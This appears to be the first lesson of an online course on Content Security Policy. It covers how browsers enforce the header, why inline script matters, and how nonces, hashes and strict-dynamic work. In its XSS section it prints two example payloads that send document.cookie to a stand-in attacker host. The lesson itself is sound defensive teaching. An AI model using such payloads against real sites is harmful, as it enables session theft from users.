Lesson 1 of 9 · 20m
CSP's Mental Model: Turn the Browser Into an Allowlist
Why CSP exists, how the browser evaluates it, and why inline JavaScript is the real enemy rather than a syntax detail.
Content Security Policy is the browser's admission of a painful fact: same-origin policy protects sites from each other, but it does not protect your origin from hostile content running inside it. XSS is the failure mode. CSP says: even if attacker markup makes it into the page, the browser should refuse to execute or load most of what the exploit needs.
CSP is a response header, not HTML hygiene
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-8f4d2c1a'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'When the document arrives, the browser evaluates every resource load and several risky behaviors against this policy. A blocked script never executes. A blocked image never fetches. CSP is enforced at browser primitives — no application framework can accidentally forget to call it.
default-src is the fallback for resource types. It is not a master key: directives that are explicitly present override it for their category. script-src controls executable JavaScript, img-src images, connect-src fetch/XHR/WebSocket destinations, frame-ancestors who may embed your page.
Inline execution is the pivotal decision
Classic XSS often lands as:
<img src=x onerror="fetch('https://evil.invalid/c?'+document.cookie)">
<script>new Image().src='https://evil.invalid/'+document.cookie</script>A policy that allows 'unsafe-inline' lets both payloads run and is mostly decorative. The controls that matter are:
'nonce-<random>'— this exact<script nonce="...">tag may execute.'sha256-<digest>'— this exact inline script body may execute.'strict-dynamic'— scripts already trusted may load further scripts without enumerating every host.
Nonces must be generated per response, cryptographically random, and never reused. A static nonce is an allowlist entry with extra steps.
Failure modes are browser-visible
Blocked resources produce console errors and, if configured, violation reports. Two independent CSP headers do not merge in your favor — every policy must independently allow the behavior. You cannot loosen one restrictive header by adding a permissive second header.
Field notes
- CSP does not prevent data theft through allowed destinations. If
connect-src *is present, XSS can exfiltrate without loading a script. - CSP protects pages, not file downloads. Serve user files from a separate hostname with
Content-Disposition: attachment. - Metacharacters in source expressions are unforgiving:
'self'is quoted, hostnames are not. - CSP is defense in depth. It never excuses skipping output encoding, framework escaping, or input validation.
Was this lesson helpful?